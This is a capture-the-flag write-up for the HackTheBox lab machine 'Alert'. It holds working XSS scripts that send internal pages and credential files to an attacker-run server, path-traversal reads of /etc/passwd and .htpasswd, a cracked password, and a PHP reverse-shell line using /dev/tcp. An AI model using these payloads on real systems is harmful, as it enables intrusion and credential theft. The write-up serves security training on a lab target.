HackTheBox Alert
Writeup for HackTheBox Alert
Machine Synopsis
Alert is an easy-difficulty Linux machine with a website to upload, view, and share markdown files. The site is vulnerable to cross-site scripting (XSS), which is exploited to access an internal page vulnerable to Arbitrary File Read and leveraged to gain access to a password hash. The hash is then cracked to reveal the credentials leveraged to gain SSH
access to the target. Enumeration of processes running on the system shows a PHP
file that is being executed regularly, which has excessive privileges for the management group our user is a member of and allows us to overwrite the file for code execution as root. (Source)
Enumeration
1
2
3
4
5
6
7
8
9
10
11
❯ nmap -sC -sV -A 10.10.11.44
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7e:46:2c:46:6e:e6:d1:eb:2d:9d:34:25:e6:36:14:a7 (RSA)
| 256 45:7b:20:95:ec:17:c5:b4:d8:86:50:81:e0:8c:e8:b8 (ECDSA)
|_ 256 cb:92:ad:6b:fc:c8:8e:5e:9f:8c:a2:69:1b:6d:d0:f7 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Did not follow redirect to http://alert.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Lets add the domain (alert.htb
) for 10.10.11.44
to our /etc/hosts
file and check out their website.
1
echo -e '10.10.11.44\t\talert.htb' | sudo tee -a /etc/hosts
This website basically allows you to upload and view Markdown files.
Uploading a markdown file with a simple XSS payload can trigger an JavaScript alert.
1
2
3
❯ cat test.md
# Heading1
<script>alert(1)</script>
We can also observe that the .md
file uploaded will be embedded to the source code.
Enumerating the other webpages also revealed that the contact.php
page was vulnerable to XSS too.
The About Us
page had a hint.
Our administrator is in charge of reviewing contact messages and reporting errors to us, so we strive to resolve all issues within 24 hours.
Lets also check for any hidden directories.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
❯ dirsearch -t 10 -e php -u 'http://alert.htb/'
Target: http://alert.htb/
[16:24:18] Starting:
[16:24:22] 403 - 274B - /.ht_wsr.txt
[16:24:22] 403 - 274B - /.htaccess.bak1
[16:24:22] 403 - 274B - /.htaccess.orig
[16:24:22] 403 - 274B - /.htaccess.sample
[16:24:22] 403 - 274B - /.htaccess.save
[16:24:22] 403 - 274B - /.htaccess_orig
[16:24:22] 403 - 274B - /.htaccess_sc
[16:24:22] 403 - 274B - /.htaccessBAK
[16:24:22] 403 - 274B - /.htaccess_extra
[16:24:22] 403 - 274B - /.htaccessOLD
[16:24:22] 403 - 274B - /.htaccessOLD2
[16:24:22] 403 - 274B - /.htm
[16:24:22] 403 - 274B - /.html
[16:24:22] 403 - 274B - /.htpasswd_test
[16:24:22] 403 - 274B - /.htpasswds
[16:24:22] 403 - 274B - /.httr-oauth
[16:24:23] 403 - 274B - /.php
[16:24:31] 200 - 24B - /contact.php
[16:24:32] 301 - 304B - /css -> http://alert.htb/css/
[16:24:38] 301 - 309B - /messages -> http://alert.htb/messages/
[16:24:43] 403 - 274B - /server-status
[16:24:43] 403 - 274B - /server-status/
[16:24:50] 301 - 308B - /uploads -> http://alert.htb/uploads/
[16:24:50] 403 - 274B - /uploads/
Task Completed
Trying to access http://alert.htb/messages/
and http://alert.htb/uploads/
results in 403 Forbidden
.
Lets use a 403 bypass script from this GitHub repo to do a sanity check.
1
2
3
4
5
6
❯ ./bypass-403.sh http://alert.htb messages | grep 200
200,966 --> http://alert.htb -H X-rewrite-url: messages
200,1 --> http://alert.htb/messages.php
❯ ./bypass-403.sh http://alert.htb uploads | grep 200
200,966 --> http://alert.htb -H X-rewrite-url: uploads
It looks like we are able to reach http://alert.htb/messages.php
but the website returned nothing when visiting the URL. Maybe we could use this later on…
Now lets enumerate for any subdomains.
1
2
3
4
❯ ffuf -c -u "http://alert.htb" -H "HOST: FUZZ.alert.htb" -w /usr/share/wordlists/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt -fc 301 -t 10
...
statistics [Status: 401, Size: 467, Words: 42, Lines: 15, Duration: 3ms]
...
It looks like there is a subdomain statistics
. Lets add the subdomain to our /etc/hosts
file.
There seems to be some login prompt.
Reviewing the login request, we can observe that the server is sending a Basic Authentication request. This may also be useful to us.
Exploitation
Reviewing what we gathered so far, we can possibly chain the 2 XSS found using the hint given and also the suspicious messages.php
endpoint by doing the following:
- Create a malicious
.md
file that fetches the content ofmessages.php
endpoint and send to our server. - Call the embedded script file using XSS in
contact.php
to display the internal files.
1
2
3
4
5
6
7
8
9
❯ cat test.md
<script>
fetch("http://alert.htb/messages.php")
.then(response => response.text())
.then(data => {
fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching messages:", error));
</script>
Upload the .md
file and get the embedded link in the source code of the webpage.
1
</script><a class="share-button" href="http://alert.htb/visualizer.php?link_share=676aa8c90b1985.30928944.md" target="_blank">Share Markdown</a></body>
Call the embedded script on Contact Us
using the following XSS.
1
<script src="http://alert.htb/visualizer.php?link_share=676aa8c90b1985.30928944.md"></script>
Check for the call back on your web server.
1
2
3
4
❯ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Ch1%3EMessages%3C%2Fh1%3E%3Cul%3E%3Cli%3E%3Ca%20href%3D%27messages.php%3Ffile%3D2024-03-10_15-48-34.txt%27%3E2024-03-10_15-48-34.txt%3C%2Fa%3E%3C%2Fli%3E%3C%2Ful%3E%0A HTTP/1.1" 200 -
Decoding the message in CyberChef reveals the following.
1
<h1>Messages</h1><ul><li><a href='messages.php?file=2024-03-10_15-48-34.txt'>2024-03-10_15-48-34.txt</a></li></ul>
Looks like a possible LFI vulnerability given the file
parameter.
Lets revise our script to get the /etc/passwd
file.
1
2
3
4
5
6
7
8
9
❯ cat test.md
<script>
fetch("http://alert.htb/messages.php?file=../../../../../etc/passwd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching messages:", error));
</script>
Repeat the exploit steps above to get the call back.
1
2
10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Cpre%3Eroot%3Ax%3A0%3A0%3Aroot%3A%2Froot%3A%2Fbin%2Fbash%0Adaemon%3Ax%3A1%3A1%3Adaemon%3A%2Fusr%2Fsbin%3A%2Fusr%2Fsbin%2Fnologin%0Abin%3Ax%3A2%3A2%3Abin%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Asys%3Ax%3A3%3A3%3Asys%3A%2Fdev%3A%2Fusr%2Fsbin%2Fnologin%0Async%3Ax%3A4%3A65534%3Async%3A%2Fbin%3A%2Fbin%2Fsync%0Agames%3Ax%3A5%3A60%3Agames%3A%2Fusr%2Fgames%3A%2Fusr%2Fsbin%2Fnologin%0Aman%3Ax%3A6%3A12%3Aman%3A%2Fvar%2Fcache%2Fman%3A%2Fusr%2Fsbin%2Fnologin%0Alp%3Ax%3A7%3A7%3Alp%3A%2Fvar%2Fspool%2Flpd%3A%2Fusr%2Fsbin%2Fnologin%0Amail%3Ax%3A8%3A8%3Amail%3A%2Fvar%2Fmail%3A%2Fusr%2Fsbin%2Fnologin%0Anews%3Ax%3A9%3A9%3Anews%3A%2Fvar%2Fspool%2Fnews%3A%2Fusr%2Fsbin%2Fnologin%0Auucp%3Ax%3A10%3A10%3Auucp%3A%2Fvar%2Fspool%2Fuucp%3A%2Fusr%2Fsbin%2Fnologin%0Aproxy%3Ax%3A13%3A13%3Aproxy%3A%2Fbin%3A%2Fusr%2Fsbin%2Fnologin%0Awww-data%3Ax%3A33%3A33%3Awww-data%3A%2Fvar%2Fwww%3A%2Fusr%2Fsbin%2Fnologin%0Abackup%3Ax%3A34%3A34%3Abackup%3A%2Fvar%2Fbackups%3A%2Fusr%2Fsbin%2Fnologin%0Alist%3Ax%3A38%3A38%3AMailing%20List%20Manager%3A%2Fvar%2Flist%3A%2Fusr%2Fsbin%2Fnologin%0Airc%3Ax%3A39%3A39%3Aircd%3A%2Fvar%2Frun%2Fircd%3A%2Fusr%2Fsbin%2Fnologin%0Agnats%3Ax%3A41%3A41%3AGnats%20Bug-Reporting%20System%20(admin)%3A%2Fvar%2Flib%2Fgnats%3A%2Fusr%2Fsbin%2Fnologin%0Anobody%3Ax%3A65534%3A65534%3Anobody%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-network%3Ax%3A100%3A102%3Asystemd%20Network%20Management%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-resolve%3Ax%3A101%3A103%3Asystemd%20Resolver%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-timesync%3Ax%3A102%3A104%3Asystemd%20Time%20Synchronization%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Amessagebus%3Ax%3A103%3A106%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Asyslog%3Ax%3A104%3A110%3A%3A%2Fhome%2Fsyslog%3A%2Fusr%2Fsbin%2Fnologin%0A_apt%3Ax%3A105%3A65534%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Atss%3Ax%3A106%3A111%3ATPM%20software%20stack%2C%2C%2C%3A%2Fvar%2Flib%2Ftpm%3A%2Fbin%2Ffalse%0Auuidd%3Ax%3A107%3A112%3A%3A%2Frun%2Fuuidd%3A%2Fusr%2Fsbin%2Fnologin%0Atcpdump%3Ax%3A108%3A113%3A%3A%2Fnonexistent%3A%2Fusr%2Fsbin%2Fnologin%0Alandscape%3Ax%3A109%3A115%3A%3A%2Fvar%2Flib%2Flandscape%3A%2Fusr%2Fsbin%2Fnologin%0Apollinate%3Ax%3A110%3A1%3A%3A%2Fvar%2Fcache%2Fpollinate%3A%2Fbin%2Ffalse%0Afwupd-refresh%3Ax%3A111%3A116%3Afwupd-refresh%20user%2C%2C%2C%3A%2Frun%2Fsystemd%3A%2Fusr%2Fsbin%2Fnologin%0Ausbmux%3Ax%3A112%3A46%3Ausbmux%20daemon%2C%2C%2C%3A%2Fvar%2Flib%2Fusbmux%3A%2Fusr%2Fsbin%2Fnologin%0Asshd%3Ax%3A113%3A65534%3A%3A%2Frun%2Fsshd%3A%2Fusr%2Fsbin%2Fnologin%0Asystemd-coredump%3Ax%3A999%3A999%3Asystemd%20Core%20Dumper%3A%2F%3A%2Fusr%2Fsbin%2Fnologin%0Aalbert%3Ax%3A1000%3A1000%3Aalbert%3A%2Fhome%2Falbert%3A%2Fbin%2Fbash%0Alxd%3Ax%3A998%3A100%3A%3A%2Fvar%2Fsnap%2Flxd%2Fcommon%2Flxd%3A%2Fbin%2Ffalse%0Adavid%3Ax%3A1001%3A1002%3A%2C%2C%2C%3A%2Fhome%2Fdavid%3A%2Fbin%2Fbash%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -
Decoding the encoded text reveals the /etc/passwd
contents.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
fwupd-refresh:x:111:116:fwupd-refresh user,,,:/run/systemd:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:113:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
albert:x:1000:1000:albert:/home/albert:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
david:x:1001:1002:,,,:/home/david:/bin/bash
Looking at the HTTP responses from the enumeration phase, we could tell that the server is running Apache. We also gathered that statistics.alert.htb
was using Basic Authentication.
Googling for Apache Basic Auth
resulted in this article. It tells us that we can configure the Apache Password Authentication using /etc/apache2/sites-enabled/000-default.conf
.
Lets try to get this file.
1
2
3
4
5
6
7
8
<script>
fetch("http://alert.htb/messages.php?file=../../../../etc/apache2/sites-enabled/000-default.conf")
.then(response => response.text())
.then(data => {
fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching messages:", error));
</script>
Repeat the exploit steps above to get the call back.
1
10.10.11.44 - "GET /?shiro=%3Cpre%3E%3CVirtualHost%20*%3A80%3E%0A%20%20%20%20ServerName%20alert.htb%0A%0A%20%20%20%20DocumentRoot%20%2Fvar%2Fwww%2Falert.htb%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Falert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20RewriteEngine%20On%0A%20%20%20%20RewriteCond%20%25%7BHTTP_HOST%7D%20!%5Ealert%5C.htb%24%0A%20%20%20%20RewriteCond%20%25%7BHTTP_HOST%7D%20!%5E%24%0A%20%20%20%20RewriteRule%20%5E%2F%3F(.*)%24%20http%3A%2F%2Falert.htb%2F%241%20%5BR%3D301%2CL%5D%0A%0A%20%20%20%20ErrorLog%20%24%7BAPACHE_LOG_DIR%7D%2Ferror.log%0A%20%20%20%20CustomLog%20%24%7BAPACHE_LOG_DIR%7D%2Faccess.log%20combined%0A%3C%2FVirtualHost%3E%0A%0A%3CVirtualHost%20*%3A80%3E%0A%20%20%20%20ServerName%20statistics.alert.htb%0A%0A%20%20%20%20DocumentRoot%20%2Fvar%2Fwww%2Fstatistics.alert.htb%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Fstatistics.alert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20%3CDirectory%20%2Fvar%2Fwww%2Fstatistics.alert.htb%3E%0A%20%20%20%20%20%20%20%20Options%20Indexes%20FollowSymLinks%20MultiViews%0A%20%20%20%20%20%20%20%20AllowOverride%20All%0A%20%20%20%20%20%20%20%20AuthType%20Basic%0A%20%20%20%20%20%20%20%20AuthName%20%22Restricted%20Area%22%0A%20%20%20%20%20%20%20%20AuthUserFile%20%2Fvar%2Fwww%2Fstatistics.alert.htb%2F.htpasswd%0A%20%20%20%20%20%20%20%20Require%20valid-user%0A%20%20%20%20%3C%2FDirectory%3E%0A%0A%20%20%20%20ErrorLog%20%24%7BAPACHE_LOG_DIR%7D%2Ferror.log%0A%20%20%20%20CustomLog%20%24%7BAPACHE_LOG_DIR%7D%2Faccess.log%20combined%0A%3C%2FVirtualHost%3E%0A%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -
Decode the encoded text using CyberChef
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<VirtualHost *:80>
ServerName alert.htb
DocumentRoot /var/www/alert.htb
<Directory /var/www/alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
RewriteEngine On
RewriteCond %{HTTP_HOST} !^alert\.htb$
RewriteCond %{HTTP_HOST} !^$
RewriteRule ^/?(.*)$ http://alert.htb/$1 [R=301,L]
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
<VirtualHost *:80>
ServerName statistics.alert.htb
DocumentRoot /var/www/statistics.alert.htb
<Directory /var/www/statistics.alert.htb>
Options FollowSymLinks MultiViews
AllowOverride All
</Directory>
<Directory /var/www/statistics.alert.htb>
Options Indexes FollowSymLinks MultiViews
AllowOverride All
AuthType Basic
AuthName "Restricted Area"
AuthUserFile /var/www/statistics.alert.htb/.htpasswd
Require valid-user
</Directory>
ErrorLog ${APACHE_LOG_DIR}/error.log
CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>
Based on the conf
file, we now know that the AuthUserFile
is located at /var/www/statistics.alert.htb/.htpasswd
.
Lets edit our script to get this file.
1
2
3
4
5
6
7
8
<script>
fetch("http://alert.htb/messages.php?file=../../../../var/www/statistics.alert.htb/.htpasswd")
.then(response => response.text())
.then(data => {
fetch("http://10.10.14.9/?shiro=" + encodeURIComponent(data));
})
.catch(error => console.error("Error fetching the messages:", error));
</script>
Repeat the exploit steps above to get the call back.
1
2
10.10.14.9 - "GET /?shiro=%0A HTTP/1.1" 200 -
10.10.11.44 - "GET /?shiro=%3Cpre%3Ealbert%3A%24apr1%24bMoRBJOg%24igG8WBtQ1xYDTQdLjSWZQ%2F%0A%3C%2Fpre%3E%0A HTTP/1.1" 200 -
Decode the encoded text using CyberChef
.
1
albert:$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/
Nice, we finally get a password hash for user albert
.
Lets identify the password hash and crack the hash using hashcat
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ echo '$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/' > albert_hash.txt
❯ hashcat --identify albert_hash.txt
The following hash-mode match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
1600 | Apache $apr1$ MD5, md5apr1, MD5 (APR) | FTP, HTTP, SMTP, LDAP Server
❯ hashcat -m 1600 -a 0 albert_hash.txt /usr/share/wordlists/rockyou.txt
...
$apr1$bMoRBJOg$igG8WBtQ1xYDTQdLjSWZQ/:manchesterunited
Session..........: hashcat
Status...........: Cracked
With albert
credentials, we can login to his account on statistics.alert.htb
and ssh
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
❯ ssh albert@alert.htb
The authenticity of host 'alert.htb (10.10.11.44)' can't be established.
ED25519 key fingerprint is SHA256:p09n9xG9WD+h2tXiZ8yi4bbPrvHxCCOpBLSw0o76zOs.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'alert.htb' (ED25519) to the list of known hosts.
albert@alert.htb's password: manchesterunited
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.4.0-200-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Tue 24 Dec 2024 02:06:31 PM UTC
System load: 0.0
Usage of /: 63.3% of 5.03GB
Memory usage: 9%
Swap usage: 0%
Processes: 244
Users logged in: 0
IPv4 address for eth0: 10.10.11.44
IPv6 address for eth0: dead:beef::250:56ff:feb9:246f
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Tue Nov 19 14:19:09 2024 from 10.10.14.23
albert@alert:~$
Privilege Escalation
1
2
3
4
5
6
albert@alert:~$ sudo -l
[sudo] password for albert:
Sorry, user albert may not run sudo on alert.
albert@alert:/opt/website-monitor$ id
uid=1000(albert) gid=1000(albert) groups=1000(albert),1001(management)
Since albert
doesn’t have sudo
rights, lets run linpeas
to check for interesting files on the system.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
albert@alert:~$ ./linpeas.sh
...
╔══════════╣ Running processes (cleaned)
╚ Check weird & unexpected proceses run by root: https://book.hacktricks.xyz/linux-hardening/privilege-escalation#processes
...
root 1017 0.0 0.0 2636 728 ? S 06:12 0:00 | _ inotifywait -m -e modify --format %w%f %e /opt/website-monitor/config
...
╔══════════╣ Modified interesting files in the last 5mins (limit 100)
...
/opt/website-monitor/monitors/alert.htb
/opt/website-monitor/monitors/statistics.alert.htb
...
alerbt@alert:~$ ps aux
...
root 1006 0.0 0.6 206768 24300 ? Ss 06:12 0:00 /usr/bin/php -S 127.0.0.1:8080 -t /opt/website-monitor
...
We can observe that there is a interesting /opt/website-monitor
file from the linpeas
scan. It also seems that the website-monitor
is running locally on port 8080
by root
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
albert@alert:/opt/website-monitor$ ls -la
total 96
drwxrwxr-x 7 root root 4096 Oct 12 01:07 .
drwxr-xr-x 4 root root 4096 Oct 12 00:58 ..
drwxrwxr-x 2 root management 4096 Oct 12 04:17 config
drwxrwxr-x 8 root root 4096 Oct 12 00:58 .git
drwxrwxr-x 2 root root 4096 Oct 12 00:58 incidents
-rwxrwxr-x 1 root root 5323 Oct 12 01:00 index.php
-rwxrwxr-x 1 root root 1068 Oct 12 00:58 LICENSE
-rwxrwxr-x 1 root root 1452 Oct 12 01:00 monitor.php
drwxrwxrwx 2 root root 4096 Oct 12 01:07 monitors
-rwxrwxr-x 1 root root 104 Oct 12 01:07 monitors.json
-rwxrwxr-x 1 root root 40849 Oct 12 00:58 Parsedown.php
-rwxrwxr-x 1 root root 1657 Oct 12 00:58 README.md
-rwxrwxr-x 1 root root 1918 Oct 12 00:58 style.css
drwxrwxr-x 2 root root 4096 Oct 12 00:58 updates
albert@alert:/opt/website-monitor$ cat README.md
...
To automate your monitoring, you can add something like this to your crontab:
```
* * * * * /usr/bin/php -f /path/to/monitor.php >/dev/null 2>&1
```
...
albert@alert:/opt/website-monitor$ cat /opt/website-monitor/monitors/alert.htb
[
{
"timestamp": 1731583021,
"time": 0.321,
"response": 302
},
{
"timestamp": 1731583801,
"time": 1.25,
"response": 302
},
...
albert@alert:/opt/website-monitor$ cat /opt/website-monitor/monitors/statistics.alert.htb
[
{
"timestamp": 1731583021,
"time": 0.144,
"response": 401
},
{
"timestamp": 1731583801,
"time": 0.185,
"response": 401
},
...
Enumerating the /opt/website-monitor
folder, we can see that the config file is accessible and writeable by albert
because albert
is in the management
group.
Optional: To view the internal website, we can do a SSH port forward.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 ❯ ssh -f -N -L 48080:127.0.0.1:8080 albert@alert.htb ❯ curl http://127.0.0.1:48080 <!DOCTYPE html> <html lang="en"> <head> <title>Website Monitor</title> <meta charset="utf-8"> <meta name="theme-color" content="#212529"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link href="style.css" rel="stylesheet"> <script src="https://cdn.jsdelivr.net/npm/chart.js@3.8.2/dist/chart.min.js" crossorigin="anonymous"></script> </head> <body> <main> <h1>Website Monitor</h1> ...
To craft our exploit, we just have to create a malicious php
file in the config folder and get a reverse shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
albert@alert:/opt/website-monitor/config$ ls -la
total 16
drwxrwxr-x 2 root management 4096 Jan 2 06:50 .
drwxrwxr-x 7 root root 4096 Oct 12 01:07 ..
-rwxrwxr-x 1 root management 49 Jan 2 06:52 configuration.php
albert@alert:/opt/website-monitor/config$ cat configuration.php
<?php
define('PATH', '/opt/website-monitor');
?>
albert@alert:/opt/website-monitor/config$ vi exploit.php
albert@alert:/opt/website-monitor/config$ cat exploit.php
<?php exec("/bin/bash -c 'bash -i >/dev/tcp/10.10.14.3/443 0>&1'"); ?>
albert@alert:/opt/website-monitor/config$ curl http://127.0.0.1:8080/config/exploit.php
1
2
3
4
5
6
7
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.3] from (UNKNOWN) [10.10.11.44] 44626
whoami
root
cat /root/root.txt
e2ceed42be65d5f3f88b6b090dd051a2